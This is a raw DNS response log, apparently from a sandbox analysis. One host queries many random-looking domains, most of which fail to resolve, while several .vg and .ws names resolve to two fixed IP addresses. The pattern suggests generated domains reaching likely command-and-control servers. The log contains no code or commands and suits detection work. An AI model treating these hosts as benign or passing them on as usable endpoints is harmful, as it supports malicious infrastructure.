Sep 7, 2024 15:29:56.118432999 CEST	1.1.1.1	192.168.2.7	0x1ef1	Name error (3)	uxidoccki.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.233366966 CEST	1.1.1.1	192.168.2.7	0x133e	Name error (3)	ksscwxoaeo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.281322956 CEST	1.1.1.1	192.168.2.7	0xeb7b	Name error (3)	ksscwxoaeo.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.432233095 CEST	1.1.1.1	192.168.2.7	0x7da0	Name error (3)	jjaewmsyl.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.471396923 CEST	1.1.1.1	192.168.2.7	0xd6d6	Name error (3)	jjaewmsyl.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.593974113 CEST	1.1.1.1	192.168.2.7	0xbcfd	Name error (3)	bioewwy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:56.609462976 CEST	1.1.1.1	192.168.2.7	0xcd03	Name error (3)	bioewwy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.040971041 CEST	1.1.1.1	192.168.2.7	0xe702	Name error (3)	eseenaaoq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.352428913 CEST	1.1.1.1	192.168.2.7	0xb3b0	Name error (3)	eseenaaoq.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.467056990 CEST	1.1.1.1	192.168.2.7	0x5758	Name error (3)	geaqeywpeolvkd.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.479104042 CEST	1.1.1.1	192.168.2.7	0xce34	Name error (3)	geaqeywpeolvkd.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:57.685085058 CEST	1.1.1.1	192.168.2.7	0xc515	Name error (3)	ecmgzekzwqvl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.181344986 CEST	1.1.1.1	192.168.2.7	0xd01b	Name error (3)	ecmgzekzwqvl.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.297610998 CEST	1.1.1.1	192.168.2.7	0x8577	Name error (3)	wzuks.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.309628963 CEST	1.1.1.1	192.168.2.7	0x8db2	Name error (3)	wzuks.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.444792986 CEST	1.1.1.1	192.168.2.7	0x8104	Name error (3)	odkfeza.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:58.483006954 CEST	1.1.1.1	192.168.2.7	0x8885	Name error (3)	odkfeza.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.574525118 CEST	1.1.1.1	192.168.2.7	0xd81d	Name error (3)	geyosiiktmh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.679470062 CEST	1.1.1.1	192.168.2.7	0x4e98	Name error (3)	geyosiiktmh.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.797849894 CEST	1.1.1.1	192.168.2.7	0xa050	Name error (3)	ycqiwercz.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:29:59.820204973 CEST	1.1.1.1	192.168.2.7	0x2e27	Name error (3)	ycqiwercz.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.193155050 CEST	1.1.1.1	192.168.2.7	0x16c7	Name error (3)	kkicy.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.204844952 CEST	1.1.1.1	192.168.2.7	0x9c4b	Name error (3)	kkicy.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.556090117 CEST	1.1.1.1	192.168.2.7	0xfec7	Name error (3)	qriusvwcqkuwa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:00.799501896 CEST	1.1.1.1	192.168.2.7	0x32cb	Name error (3)	qriusvwcqkuwa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:01.013648987 CEST	1.1.1.1	192.168.2.7	0x7142	Name error (3)	htqweutnwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:01.253390074 CEST	1.1.1.1	192.168.2.7	0xdd1d	Name error (3)	htqweutnwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:01.917143106 CEST	1.1.1.1	192.168.2.7	0x6e1c	No error (0)	yewqawydd.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.524162054 CEST	1.1.1.1	192.168.2.7	0x880e	Name error (3)	owccrcwq.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.551131010 CEST	1.1.1.1	192.168.2.7	0xb0a2	Name error (3)	owccrcwq.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:03.670559883 CEST	1.1.1.1	192.168.2.7	0x48c9	No error (0)	kmmwwihyq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.045679092 CEST	1.1.1.1	192.168.2.7	0x25b4	Name error (3)	xysmcmqwu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.546303988 CEST	1.1.1.1	192.168.2.7	0x1f01	Name error (3)	xysmcmqwu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.694219112 CEST	1.1.1.1	192.168.2.7	0x490b	Name error (3)	ciquymkpje.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:05.738641977 CEST	1.1.1.1	192.168.2.7	0xbfbb	Name error (3)	ciquymkpje.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:06.624862909 CEST	1.1.1.1	192.168.2.7	0x87a5	Name error (3)	fkjikj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:07.497315884 CEST	1.1.1.1	192.168.2.7	0x7508	Name error (3)	fkjikj.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:07.870053053 CEST	1.1.1.1	192.168.2.7	0x4672	Name error (3)	ieiicvwgalgky.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:08.039247036 CEST	1.1.1.1	192.168.2.7	0x3939	Name error (3)	ieiicvwgalgky.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.658628941 CEST	1.1.1.1	192.168.2.7	0x512b	Name error (3)	egwcsxcam.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.662374973 CEST	1.1.1.1	192.168.2.7	0x512b	Name error (3)	egwcsxcam.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.756164074 CEST	1.1.1.1	192.168.2.7	0xf122	Name error (3)	egwcsxcam.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:09.880007029 CEST	1.1.1.1	192.168.2.7	0xb6c9	No error (0)	wuwwmjjecu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.829186916 CEST	1.1.1.1	192.168.2.7	0x9ad3	Name error (3)	ljsgjmawffh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.867326021 CEST	1.1.1.1	192.168.2.7	0xa8ac	Name error (3)	ljsgjmawffh.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.983553886 CEST	1.1.1.1	192.168.2.7	0x6183	Name error (3)	aysqmuqgsloow.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:12.995574951 CEST	1.1.1.1	192.168.2.7	0x3324	Name error (3)	aysqmuqgsloow.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.142432928 CEST	1.1.1.1	192.168.2.7	0xacaf	Name error (3)	esibe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.179450035 CEST	1.1.1.1	192.168.2.7	0x535d	Name error (3)	esibe.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.321969032 CEST	1.1.1.1	192.168.2.7	0xc8ab	Name error (3)	yumztuauwtgqzi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.363127947 CEST	1.1.1.1	192.168.2.7	0x148	Name error (3)	yumztuauwtgqzi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.486541986 CEST	1.1.1.1	192.168.2.7	0xf706	Name error (3)	gflaeo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.499617100 CEST	1.1.1.1	192.168.2.7	0x291e	Name error (3)	gflaeo.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:13.641762972 CEST	1.1.1.1	192.168.2.7	0x9c7d	No error (0)	teposqumcrg.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:14.882925987 CEST	1.1.1.1	192.168.2.7	0xfbab	Name error (3)	seguyyo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.124066114 CEST	1.1.1.1	192.168.2.7	0x13f7	Name error (3)	seguyyo.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.278383017 CEST	1.1.1.1	192.168.2.7	0x9dd3	Name error (3)	yeumevw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.756757021 CEST	1.1.1.1	192.168.2.7	0xcfad	Name error (3)	yeumevw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.874722958 CEST	1.1.1.1	192.168.2.7	0xb6ec	Name error (3)	dkmfogccm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:15.886204958 CEST	1.1.1.1	192.168.2.7	0xf0a8	Name error (3)	dkmfogccm.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:16.692415953 CEST	1.1.1.1	192.168.2.7	0x152e	Name error (3)	vvzmawoi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:16.793878078 CEST	1.1.1.1	192.168.2.7	0x4c27	Name error (3)	vvzmawoi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:16.909538031 CEST	1.1.1.1	192.168.2.7	0xe6a	No error (0)	geyoxtsrqqmiqw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:18.093679905 CEST	1.1.1.1	192.168.2.7	0x45f8	No error (0)	usieuqieneogs.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.219168901 CEST	1.1.1.1	192.168.2.7	0xae43	Name error (3)	wwegcgkvnudqq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.259555101 CEST	1.1.1.1	192.168.2.7	0xea89	Name error (3)	wwegcgkvnudqq.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.396869898 CEST	1.1.1.1	192.168.2.7	0xef4c	Name error (3)	geskyisyg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.417476892 CEST	1.1.1.1	192.168.2.7	0x8868	Name error (3)	geskyisyg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.552063942 CEST	1.1.1.1	192.168.2.7	0x1eea	Name error (3)	hoyfegks.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.562489986 CEST	1.1.1.1	192.168.2.7	0xe231	Name error (3)	hoyfegks.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:19.917213917 CEST	1.1.1.1	192.168.2.7	0x5939	Name error (3)	wbipca.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:20.024422884 CEST	1.1.1.1	192.168.2.7	0xc1cc	Name error (3)	wbipca.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:20.139305115 CEST	1.1.1.1	192.168.2.7	0x5471	No error (0)	osszxuqww.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.106216908 CEST	1.1.1.1	192.168.2.7	0x1aa8	Name error (3)	wnqsxgiauligw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.208043098 CEST	1.1.1.1	192.168.2.7	0xdd55	Name error (3)	wnqsxgiauligw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.420473099 CEST	1.1.1.1	192.168.2.7	0x868d	Name error (3)	owmyyelny.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.429733038 CEST	1.1.1.1	192.168.2.7	0x41d7	Name error (3)	owmyyelny.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.574500084 CEST	1.1.1.1	192.168.2.7	0x3c94	Name error (3)	qqnuf.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.611942053 CEST	1.1.1.1	192.168.2.7	0xc4ad	Name error (3)	qqnuf.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.780123949 CEST	1.1.1.1	192.168.2.7	0x1d96	Name error (3)	wgovefhezuih.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.818612099 CEST	1.1.1.1	192.168.2.7	0x69d	Name error (3)	wgovefhezuih.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.960517883 CEST	1.1.1.1	192.168.2.7	0xbf1d	Name error (3)	gyqyabu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:22.976161957 CEST	1.1.1.1	192.168.2.7	0x95a3	Name error (3)	gyqyabu.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.098297119 CEST	1.1.1.1	192.168.2.7	0xed6f	Name error (3)	jhmccyuqqpwais.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.113457918 CEST	1.1.1.1	192.168.2.7	0x61cd	Name error (3)	jhmccyuqqpwais.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:23.270075083 CEST	1.1.1.1	192.168.2.7	0xc278	No error (0)	seynayvty.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.447864056 CEST	1.1.1.1	192.168.2.7	0xee0c	Name error (3)	qrmbac.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.480134964 CEST	1.1.1.1	192.168.2.7	0x9548	Name error (3)	qrmbac.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.615369081 CEST	1.1.1.1	192.168.2.7	0x30fe	Name error (3)	yggwuumeqkm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.649199963 CEST	1.1.1.1	192.168.2.7	0xc481	Name error (3)	yggwuumeqkm.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.767937899 CEST	1.1.1.1	192.168.2.7	0xdf9c	Name error (3)	maucnys.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.782494068 CEST	1.1.1.1	192.168.2.7	0xbbea	Name error (3)	maucnys.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.904417038 CEST	1.1.1.1	192.168.2.7	0x1733	Name error (3)	mycyhmmwzy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:24.914362907 CEST	1.1.1.1	192.168.2.7	0x7344	Name error (3)	mycyhmmwzy.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:25.030441046 CEST	1.1.1.1	192.168.2.7	0x7a50	No error (0)	wxaov.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:26.177217007 CEST	1.1.1.1	192.168.2.7	0x436a	No error (0)	wppmkeygkekq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.404400110 CEST	1.1.1.1	192.168.2.7	0xada0	Name error (3)	uhisyeewjbyym.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.415968895 CEST	1.1.1.1	192.168.2.7	0xc5d9	Name error (3)	uhisyeewjbyym.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:27.542555094 CEST	1.1.1.1	192.168.2.7	0x50d8	No error (0)	mrpcjmcshkf.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:28.923466921 CEST	1.1.1.1	192.168.2.7	0xe55f	Name error (3)	qcqoyjyhi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:28.961067915 CEST	1.1.1.1	192.168.2.7	0x504a	Name error (3)	qcqoyjyhi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.095711946 CEST	1.1.1.1	192.168.2.7	0x7f1d	Name error (3)	aptoyuwucdg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.109499931 CEST	1.1.1.1	192.168.2.7	0x7339	Name error (3)	aptoyuwucdg.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.233778954 CEST	1.1.1.1	192.168.2.7	0xc92f	Name error (3)	swjmmsuyswk.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.250071049 CEST	1.1.1.1	192.168.2.7	0x2139	Name error (3)	swjmmsuyswk.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.605092049 CEST	1.1.1.1	192.168.2.7	0xceaf	Name error (3)	mbcdtw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:29.841172934 CEST	1.1.1.1	192.168.2.7	0xa7cd	Name error (3)	mbcdtw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.220982075 CEST	1.1.1.1	192.168.2.7	0x4783	Name error (3)	kpows.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.260030985 CEST	1.1.1.1	192.168.2.7	0xcbaa	Name error (3)	kpows.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.672457933 CEST	1.1.1.1	192.168.2.7	0x68f8	Name error (3)	vwokiiyvu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.722882032 CEST	1.1.1.1	192.168.2.7	0x7cf3	Name error (3)	vwokiiyvu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:30.858109951 CEST	1.1.1.1	192.168.2.7	0xa219	No error (0)	smmjqoel.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:32.046468973 CEST	1.1.1.1	192.168.2.7	0x4f3e	No error (0)	mxrcu.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:33.313477993 CEST	1.1.1.1	192.168.2.7	0x80b0	Name error (3)	dvoyopwgmvd.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.265979052 CEST	1.1.1.1	192.168.2.7	0xb83b	Name error (3)	ioycjeu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.379317045 CEST	1.1.1.1	192.168.2.7	0x1d67	Name error (3)	ioycjeu.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.731004000 CEST	1.1.1.1	192.168.2.7	0x4274	Name error (3)	ccfoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:35.975068092 CEST	1.1.1.1	192.168.2.7	0x2b78	Name error (3)	ccfoy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.195852995 CEST	1.1.1.1	192.168.2.7	0xe367	Name error (3)	asiuiy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.443219900 CEST	1.1.1.1	192.168.2.7	0x3ccb	Name error (3)	asiuiy.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:36.567778111 CEST	1.1.1.1	192.168.2.7	0x26b0	No error (0)	kjidaqsoau.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:37.709270954 CEST	1.1.1.1	192.168.2.7	0xf57e	No error (0)	wqncc.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:38.898297071 CEST	1.1.1.1	192.168.2.7	0x101c	Name error (3)	udwawfegeio.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:38.912764072 CEST	1.1.1.1	192.168.2.7	0xf131	Name error (3)	udwawfegeio.museum	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:39.046444893 CEST	1.1.1.1	192.168.2.7	0x166d	No error (0)	ouwmfwh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.416065931 CEST	1.1.1.1	192.168.2.7	0xeda4	Name error (3)	haaqi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.529186010 CEST	1.1.1.1	192.168.2.7	0x56e9	Name error (3)	haaqi.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.748307943 CEST	1.1.1.1	192.168.2.7	0x4eec	Name error (3)	ieqccaiqxmqeei.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:40.994342089 CEST	1.1.1.1	192.168.2.7	0xf4f7	Name error (3)	ieqccaiqxmqeei.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.343897104 CEST	1.1.1.1	192.168.2.7	0xc760	Name error (3)	iwkmeol.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.581820011 CEST	1.1.1.1	192.168.2.7	0x978	Name error (3)	iwkmeol.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:41.938705921 CEST	1.1.1.1	192.168.2.7	0x66e6	Name error (3)	czcel.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.049854040 CEST	1.1.1.1	192.168.2.7	0xbe51	Name error (3)	czcel.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.338666916 CEST	1.1.1.1	192.168.2.7	0xb4cd	Name error (3)	iucoealu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.502003908 CEST	1.1.1.1	192.168.2.7	0xcfbc	Name error (3)	iucoealu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.649900913 CEST	1.1.1.1	192.168.2.7	0xfb42	Name error (3)	qczyndmtc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.687021017 CEST	1.1.1.1	192.168.2.7	0xf2d7	Name error (3)	qczyndmtc.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:42.832093954 CEST	1.1.1.1	192.168.2.7	0x9de1	No error (0)	qzlqdcowacw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.268116951 CEST	1.1.1.1	192.168.2.7	0xe2b1	Name error (3)	vcwagpvps.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.301819086 CEST	1.1.1.1	192.168.2.7	0x7f95	Name error (3)	vcwagpvps.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.514862061 CEST	1.1.1.1	192.168.2.7	0xf64d	Name error (3)	gsmwwianqmf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:44.621519089 CEST	1.1.1.1	192.168.2.7	0x9074	Name error (3)	gsmwwianqmf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.554909945 CEST	1.1.1.1	192.168.2.7	0x7a90	Name error (3)	yeqfyjxbrebva.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.661353111 CEST	1.1.1.1	192.168.2.7	0xf28c	Name error (3)	yeqfyjxbrebva.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:45.878169060 CEST	1.1.1.1	192.168.2.7	0x3b4d	Name error (3)	ryimxua.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.089044094 CEST	1.1.1.1	192.168.2.7	0x2ba8	Name error (3)	ryimxua.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.305075884 CEST	1.1.1.1	192.168.2.7	0x7b29	Name error (3)	xoogxhjxdgf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.546202898 CEST	1.1.1.1	192.168.2.7	0x695c	Name error (3)	xoogxhjxdgf.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:46.844806910 CEST	1.1.1.1	192.168.2.7	0xb571	Name error (3)	jwmlbpywkyawo.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:47.111457109 CEST	1.1.1.1	192.168.2.7	0x5862	Name error (3)	jwmlbpywkyawo.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:47.244102955 CEST	1.1.1.1	192.168.2.7	0xf155	No error (0)	diius.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.632549047 CEST	1.1.1.1	192.168.2.7	0xff7c	Name error (3)	yzzuzcswg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.739993095 CEST	1.1.1.1	192.168.2.7	0xdf9c	Name error (3)	yzzuzcswg.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.861888885 CEST	1.1.1.1	192.168.2.7	0xb902	Name error (3)	sdcouzk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:48.884993076 CEST	1.1.1.1	192.168.2.7	0xa0fb	Name error (3)	sdcouzk.pw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.232460022 CEST	1.1.1.1	192.168.2.7	0x6550	Name error (3)	ceougqmkfeewe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.566232920 CEST	1.1.1.1	192.168.2.7	0xebb	Name error (3)	ceougqmkfeewe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:49.855623007 CEST	1.1.1.1	192.168.2.7	0xbd7	Name error (3)	gesmoyiumq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.103351116 CEST	1.1.1.1	192.168.2.7	0x8064	Name error (3)	gesmoyiumq.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.237368107 CEST	1.1.1.1	192.168.2.7	0x6aba	Name error (3)	wgcwrceyw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.284845114 CEST	1.1.1.1	192.168.2.7	0x8b3a	Name error (3)	wgcwrceyw.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:50.874473095 CEST	1.1.1.1	192.168.2.7	0x7fa7	Name error (3)	cxrcdnkmjjm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:51.122528076 CEST	1.1.1.1	192.168.2.7	0x2c9a	Name error (3)	cxrcdnkmjjm.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:51.287139893 CEST	1.1.1.1	192.168.2.7	0xeb75	No error (0)	weascqyrgizow.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:52.500221014 CEST	1.1.1.1	192.168.2.7	0xa78b	Name error (3)	eoliugyamra.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:52.562566042 CEST	1.1.1.1	192.168.2.7	0xda3e	Name error (3)	eoliugyamra.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.060902119 CEST	1.1.1.1	192.168.2.7	0x1f4a	Name error (3)	zkibklb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.309266090 CEST	1.1.1.1	192.168.2.7	0x6dcf	Name error (3)	zkibklb.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:53.759243965 CEST	1.1.1.1	192.168.2.7	0x3e0	Name error (3)	qyuzsaqyumadgt.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.002321959 CEST	1.1.1.1	192.168.2.7	0x1e89	Name error (3)	qyuzsaqyumadgt.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.146363974 CEST	1.1.1.1	192.168.2.7	0x2f27	Name error (3)	oskggy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.183798075 CEST	1.1.1.1	192.168.2.7	0x51ba	Name error (3)	oskggy.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:30:54.713918924 CEST	1.1.1.1	192.168.2.7	0x6793	Name error (3)	uwuuxchcnepmcg.mp	none	none	A (IP address)	IN (0x0001)	false
